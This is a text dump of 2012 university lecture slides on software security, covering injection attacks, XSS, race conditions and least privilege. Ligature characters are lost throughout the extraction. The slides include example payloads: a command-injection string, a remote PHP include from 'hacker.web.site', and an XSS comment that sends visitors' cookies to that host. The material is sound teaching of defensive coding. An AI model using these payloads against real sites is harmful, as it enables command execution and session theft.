So#ware Security CS461/ECE422 Spring 2012 Reading - - PowerPoint PPT Presentation
So#ware Security CS461/ECE422 Spring 2012 Reading - - PowerPoint PPT Presentation
So#ware Security CS461/ECE422 Spring 2012 Reading Material Chapter 12 of the text Outline Review common vulnerabiliDes in programs Input Checking
Reading ¡Material ¡
- Chapter ¡12 ¡of ¡the ¡text ¡
Outline ¡
- Review ¡common ¡vulnerabiliDes ¡in ¡programs ¡
- Input ¡Checking ¡
- Program ¡Logic ¡Errors ¡
- Errors ¡InteracDng ¡with ¡the ¡OS ¡
- Output ¡handling ¡
So#ware ¡VulnerabiliDes ¡
- Generally ¡a ¡result ¡of ¡poor ¡programming ¡
- pracDces. ¡
- OWASP ¡top ¡10 ¡Web ¡ApplicaDon ¡Security ¡risks ¡
– hOps://www.owasp.org/index.php/ Category:OWASP_Top_Ten_Project ¡ – A ¡good ¡number ¡are ¡developer ¡bugs ¡
¡
Security ¡in ¡Design ¡and ¡Architecture ¡
- Security ¡concerns ¡must ¡be ¡considered ¡up ¡front ¡
- Security ¡impacts ¡system ¡architecture ¡ ¡
– Perhaps ¡re-‑architect ¡to ¡ameliorate ¡security ¡ concerns ¡ – Security ¡architecture ¡can ¡be ¡used ¡to ¡drive ¡tesDng ¡ – True ¡even ¡for ¡projects ¡with ¡no ¡“security ¡features” ¡
- Leaving ¡security ¡to ¡the ¡test ¡phase ¡(or ¡later) ¡is ¡
not ¡a ¡good ¡idea ¡to ¡say ¡the ¡least ¡
Defensive ¡Programming ¡or ¡ ¡ Secure ¡Coding ¡
- Mostly ¡good ¡so#ware ¡engineering ¡
– Except ¡when ¡considering ¡security ¡must ¡consider ¡a ¡ malicious ¡actor ¡ – TradiDonal ¡so#ware ¡engineering ¡concentrates ¡ dealing ¡with ¡errors ¡due ¡to ¡accidents ¡
- Goal ¡
– ConDnued ¡funcDoning ¡of ¡so#ware ¡in ¡spite ¡of ¡ unforeseeable ¡usage ¡of ¡said ¡so#ware. ¡
- Conflicts ¡with ¡Dme ¡to ¡market ¡
Make ¡No ¡AssumpDons! ¡
- Don’t ¡assume ¡the ¡user ¡won’t ¡enter ¡more ¡than ¡
512 ¡characters ¡on ¡the ¡command ¡line ¡
- Don’t ¡that ¡there ¡will ¡always ¡be ¡enough ¡disk ¡
space ¡
- OR ¡codify ¡and ¡enforce ¡your ¡assumpDons ¡
Handling ¡User ¡Input ¡
- This ¡is ¡where ¡the ¡user ¡(malicious ¡or ¡innocent) ¡
can ¡directly ¡impact ¡the ¡program ¡
– Always ¡verify ¡the ¡user ¡input ¡ – White ¡list ¡expected ¡results ¡
- Input ¡can ¡come ¡from ¡a ¡number ¡of ¡places ¡
– Text ¡entry ¡ – ConfiguraDon ¡files ¡ – Environment ¡variables ¡ – Network ¡
InjecDon ¡AOacks ¡
- Error ¡in ¡input ¡handling ¡that ¡results ¡in ¡
unexpected ¡execuDon ¡flow ¡
- O#en ¡occurs ¡in ¡scripDng ¡languages ¡
– Script ¡writer ¡expects ¡user ¡input ¡to ¡be ¡data ¡ – But ¡user ¡inputs ¡text ¡that ¡will ¡be ¡interpreted ¡as ¡ code ¡
Unsafe ¡Perl ¡Script ¡
1 #!/usr/bin/perl 2 # finger.cgi - finger CGI script using Perl5 CGI module 3 4 use CGI; 5 use CGI::Carp qw(fatalsToBrowser); 6 $q = new CGI; # create query object 7 8 # display HTML header 9 print $q->header, 10 $q->start_html('Finger User'), 11 $q->h1('Finger User'); 12 print "<pre>"; 13 14 # get name of user and display their finger details 15 $user = $q->param("user"); 16 print `/usr/bin/finger -sh $user`; 17 18 # display HTML footer 19 print "</pre>"; 20 print $q->end_html;
Running ¡Script ¡
- With ¡user ¡= ¡lpb ¡
- Finger ¡user ¡
Login ¡ ¡Name ¡ ¡ lpb ¡ ¡Lawrie ¡Brown ¡
- With ¡user=‘xxx; ¡echo ¡aOack ¡success; ¡ls ¡finger*’ ¡
- Finger ¡User ¡
aOack ¡success ¡ finger.cgi ¡ ¡finger.html ¡
- Command ¡injecDon. ¡ ¡Running ¡arbitrary ¡
commands ¡at ¡the ¡privilege ¡of ¡the ¡web ¡user ¡id. ¡
Safer ¡Script ¡
14 # get name of user and display their finger details 15 $user = $q->param("user"); 16 die "The specified user contains illegal characters!" 17 unless ($user =~ /^\w+$/); 18 print `/usr/bin/finger -sh $user`;
- counter ¡aOack ¡by ¡validaDng ¡input ¡
– compare ¡to ¡paOern ¡that ¡rejects ¡invalid ¡input ¡ – see ¡example ¡addiDons ¡to ¡script: ¡
SQL ¡InjecDon ¡
- Or ¡why ¡is ¡this ¡XKCD ¡comic ¡funny ¡
– hOp://xkcd.com/327/ ¡
SQL ¡InjecDon ¡
- another ¡widely ¡exploited ¡injecDon ¡aOack ¡
- when ¡input ¡used ¡in ¡SQL ¡query ¡to ¡database ¡
– similar ¡to ¡command ¡injecDon ¡ ¡ – SQL ¡meta-‑characters ¡are ¡the ¡concern ¡ – must ¡check ¡and ¡validate ¡input ¡for ¡these ¡
$name = $_REQUEST['name']; $query = “SELECT * FROM suppliers WHERE name = '" . $name . "';" $result = mysql_query($query); $name = $_REQUEST['name']; $query = “SELECT * FROM suppliers WHERE name = '" . mysql_real_escape_string($name) . "';" $result = mysql_query($query);
Code ¡InjecDon ¡
- further ¡variant ¡
- input ¡includes ¡code ¡that ¡is ¡then ¡executed ¡
– see ¡PHP ¡remote ¡code ¡injecDon ¡vulnerability ¡
- variable ¡+ ¡global ¡field ¡variables ¡+ ¡remote ¡include ¡
– this ¡type ¡of ¡aOack ¡is ¡widely ¡exploited ¡
<?php include $path . 'functions.php'; include $path . 'data/prefs.php'; GET /calendar/embed/day.php?path=http://hacker.web.site/hack.txt?&cmd=ls
04/10/07 ¡ 16 ¡
Cross ¡Site ¡ScripDng ¡(XSS) ¡
l Goal ¡– ¡Inject ¡malicious ¡code ¡into ¡web ¡pages ¡
viewed ¡by ¡others. ¡
- Sites ¡that ¡allow ¡HTML ¡formaOed ¡user ¡input ¡to ¡be ¡
stored, ¡e.g. ¡Blog ¡comments, ¡wiki ¡entries. ¡
- Enter ¡the ¡following ¡into ¡a ¡form ¡that ¡then ¡shows ¡
the ¡original ¡query ¡in ¡the ¡response. ¡
l <script>confirm("Do ¡you ¡hate ¡purple ¡dinosaurs?");</
script> ¡
XSS ¡Example ¡
- cf. ¡guestbooks, ¡wikis, ¡blogs ¡etc ¡
- where ¡comment ¡includes ¡script ¡code ¡
– e.g. ¡to ¡collect ¡cookie ¡details ¡of ¡viewing ¡users ¡
- need ¡to ¡validate ¡data ¡supplied ¡
– including ¡handling ¡various ¡possible ¡encodings ¡
- aOacks ¡both ¡input ¡and ¡output ¡handling ¡
Thanks for this information, its great! <script>document.location='http://hacker.web.site/cookie.cgi?'+ document.cookie</script>
Alternate ¡Encodings ¡
Input ¡Checks ¡
- Example ¡of ¡evading ¡input ¡checks ¡
– Samy’s ¡explanaDon ¡of ¡his ¡Myspace ¡worm ¡ – hOp://namb.la/popular/tech.html ¡
- Canonicalize ¡input ¡before ¡performing ¡checks ¡
– Map ¡the ¡mulDple ¡versions ¡of ¡‘A’ ¡to ¡a ¡parDcular ¡value ¡
- Issue ¡for ¡numeric ¡values ¡too ¡
– Is ¡the ¡number ¡16 ¡bits ¡or ¡32? ¡ – Signed ¡or ¡unsigned? ¡
- NegaDve ¡number ¡or ¡large ¡posiDve ¡
¡
Input ¡Fuzzing ¡
- Generate ¡“random” ¡inputs ¡to ¡test ¡programs ¡
– Environment ¡variables ¡ – Input ¡strings ¡ – Network ¡values ¡
- Could ¡be ¡completely ¡randomized ¡or ¡somewhat ¡
structured ¡
– Minifuzz ¡ – ShareFuzz ¡ – Spike ¡ – MuDynamics ¡
- Standard ¡component ¡of ¡Microso#’s ¡So#ware ¡
Development ¡Lifecycle ¡
More ¡Fuzz ¡-‑ ¡SPIKE ¡
- An ¡input ¡language ¡for ¡creaDng ¡variant ¡network ¡
packets ¡
- From ¡WireShark ¡output, ¡make ¡it ¡easy ¡to ¡express ¡new ¡
packets ¡
– a_binary(“00 ¡01 ¡02 ¡03”) ¡ Data: ¡<00 ¡01 ¡02 ¡03> ¡ – a_block_size_big-‑endian_word(“Blockname”); ¡ Data: ¡<00 ¡01 ¡02 ¡03 ¡00 ¡00 ¡00 ¡00> ¡ – a_block_start(“Blockname”) ¡ a_binary(“05 ¡06 ¡07 ¡08”) ¡ Data: ¡<00 ¡01 ¡02 ¡03 ¡00 ¡00 ¡00 ¡00 ¡05 ¡06 ¡07 ¡08> ¡ – a_block_end(“Blockname”); ¡ Data: ¡<00 ¡01 ¡02 ¡03 ¡00 ¡00 ¡00 ¡04 ¡05 ¡06 ¡07 ¡08> ¡
WriDng ¡Correct/Safe ¡Code ¡
- Is ¡your ¡algorithm ¡correct? ¡
– Incorrect ¡use ¡of ¡random ¡number ¡generators ¡
- Bad ¡seeds ¡
- E.g. ¡Code ¡Red ¡and ¡Netscape ¡
- TCP ¡session ¡hijacking ¡
– How ¡random ¡is ¡the ¡sequence ¡number? ¡
- Leaving ¡in ¡test ¡code ¡
– Used ¡by ¡Morris ¡Worm ¡
Is ¡there ¡a ¡bug ¡in ¡the ¡compiler? ¡
- Ken ¡Thompson ¡Trojan ¡compiler ¡example ¡
- Required ¡for ¡higher ¡levels ¡of ¡Common ¡Criteria ¡
– Correspondence ¡of ¡design, ¡source, ¡and ¡object ¡
- code. ¡ ¡
Correct ¡Use ¡of ¡Memory ¡
- Memory ¡Leak ¡
– Run ¡process ¡out ¡of ¡memory. ¡ ¡DoS ¡
- Free/AllocaDon ¡errors ¡
– Heap ¡overflow, ¡can ¡enable ¡arbitrary ¡execuDon ¡
- Could ¡be ¡solved ¡by ¡
– Heap ¡randomizaDon ¡ – Tools ¡to ¡track ¡heap ¡uDlizaDon ¡
- Valgrind ¡
- Duma ¡
Race ¡CondiDons ¡and ¡Shared ¡Memory ¡
- MulDple ¡threads ¡of ¡control ¡accessing ¡a ¡common ¡
memory ¡locaDon ¡
– Subtle ¡(and ¡not ¡so ¡subtle) ¡errors ¡in ¡synchronizaDon ¡ are ¡possible ¡ – MulDple ¡writers ¡ – WriDng ¡while ¡another ¡thread ¡is ¡reading ¡ – Deadlocks ¡
- Errors ¡vary ¡from ¡invocaDon ¡to ¡invocaDon ¡
- AOacker ¡could ¡aOempt ¡to ¡trigger ¡a ¡latent ¡
threading ¡error ¡
Environment ¡Variables ¡
- Another ¡way ¡for ¡the ¡program ¡to ¡get ¡input ¡
– And ¡should ¡be ¡treated ¡as ¡such ¡
- Generally ¡set ¡up ¡for ¡the ¡user ¡
– Sysadmin ¡creates ¡a ¡profile ¡for ¡the ¡user ¡that ¡ iniDalizes ¡the ¡environment ¡
- Environment ¡variables ¡read ¡by ¡compiled ¡
programs ¡and ¡scripted ¡program ¡ ¡
Example ¡Vulnerable ¡Scripts ¡
- using ¡PATH ¡or ¡IFS ¡environment ¡variables ¡
- cause ¡script ¡to ¡execute ¡aOackers ¡program ¡with ¡privileges ¡
granted ¡to ¡script ¡
– SetUID ¡root ¡scripts ¡would ¡be ¡aOracDve ¡
- almost ¡impossible ¡to ¡prevent ¡in ¡some ¡form ¡
– Though ¡the ¡use ¡of ¡IFS ¡has ¡been ¡restricted ¡in ¡most ¡modern ¡shells ¡
#!/bin/bash user=`echo $1 | sed 's/@.*$//'` grep $user /var/local/accounts/ipaddrs #!/bin/bash PATH=”/sbin:/bin:/usr/sbin:/usr/bin” export PATH user=`echo $1 | sed 's/@.*$//'` grep $user /var/local/accounts/ipaddrs
Path ¡AOack ¡On ¡Libraries ¡
- Dynamic ¡libraries ¡are ¡loaded ¡at ¡invocaDon ¡
Dme ¡
- Loader ¡must ¡search ¡the ¡system ¡to ¡find ¡the ¡
libraries ¡needed ¡by ¡the ¡executable ¡
– LD_LIBRARY_PATH ¡ – Flexibility ¡vs ¡aOack ¡avenue ¡
Least ¡Privilege ¡
- Ideally ¡run ¡a ¡program ¡with ¡as ¡many ¡privileges ¡and ¡
access ¡rights ¡as ¡it ¡needs ¡but ¡no ¡more ¡
– What’s ¡the ¡hard ¡in ¡too ¡much ¡access? ¡
- Root ¡in ¡Unix ¡
- Web ¡servers ¡and ¡file ¡access ¡
– What ¡files ¡does ¡the ¡web ¡server ¡process ¡need ¡to ¡read? ¡ ¡ Need ¡to ¡write? ¡
- How ¡long ¡does ¡ ¡a ¡program ¡need ¡special ¡privilege? ¡
– E.g., ¡a ¡low ¡port ¡network ¡service ¡program ¡
- Divide ¡program ¡into ¡sets ¡of ¡processes ¡
– Move ¡the ¡privilege ¡required ¡elements ¡into ¡smaller, ¡simpler ¡ processes ¡
System ¡Calls ¡and ¡ Standard ¡Library ¡FuncDons ¡
- programs ¡use ¡system ¡calls ¡and ¡standard ¡
library ¡funcDons ¡for ¡common ¡operaDons ¡
– and ¡make ¡assumpDons ¡about ¡their ¡operaDon ¡ – if ¡incorrect ¡behavior ¡is ¡not ¡what ¡is ¡expected ¡may ¡ be ¡a ¡result ¡of ¡system ¡opDmizing ¡access ¡to ¡shared ¡ resources ¡
- by ¡buffering, ¡re-‑sequencing, ¡modifying ¡requests ¡
– can ¡conflict ¡with ¡program ¡goals ¡
Secure ¡File ¡Shredder ¡
patterns = [10101010, 01010101, 11001100, 00110011, 00000000, 11111111, … ]
- pen file for writing
for each pattern seek to start of file
- verwrite file contents with pattern
close file remove file patterns = [10101010, 01010101, 11001100, 00110011, 00000000, 11111111, … ]
- pen file for update
for each pattern seek to start of file
- verwrite file contents with pattern
flush application write buffers sync file system write buffers with device close file remove file
Race ¡CondiDons ¡
- Files ¡can ¡be ¡used ¡to ¡synchronize ¡access ¡to ¡OS ¡
resources ¡between ¡processes ¡
- If ¡[ ¡! ¡–e ¡$file ¡] ¡
then ¡ ¡touch ¡$file ¡ else ¡ ¡ ¡ ¡ ¡ ¡ ¡echo ¡“You ¡don’t ¡have ¡the ¡lock” ¡ fi ¡
- Time ¡of ¡check ¡to ¡Dme ¡of ¡use ¡(TOCTOU) ¡
Temporary ¡Files ¡
- Many ¡programs ¡create ¡temporary ¡
intermediate ¡files ¡
– Can ¡create ¡unique ¡names ¡based ¡on ¡process ¡id ¡ – How ¡could ¡an ¡aOacker ¡leverage ¡this? ¡
- do ¡{ ¡
¡ ¡ ¡filename ¡= ¡tempnam(NULL, ¡“foo”); ¡ ¡ ¡ ¡fd ¡= ¡open(filename, ¡….) ¡ ¡ ¡ ¡free(filename); ¡ } ¡while ¡(fd ¡== ¡-‑1); ¡
Output ¡Checking ¡
- Example ¡1 ¡
– AcDve ¡display ¡
- VT100 ¡command ¡characters ¡
- Or ¡X-‑terminal ¡display ¡hijack ¡
- Example ¡2 ¡
– Cross ¡Site ¡ScripDng ¡
- Generate ¡display ¡from ¡stored ¡data ¡
- Data ¡is ¡interpreted ¡as ¡command ¡
Summary ¡
- Useful ¡to ¡look ¡at ¡common ¡so#ware ¡
vulnerabiliDes ¡
– Know ¡common ¡issues ¡to ¡avoid ¡going ¡forward ¡
- Even ¡more ¡important ¡to ¡consider ¡security ¡in ¡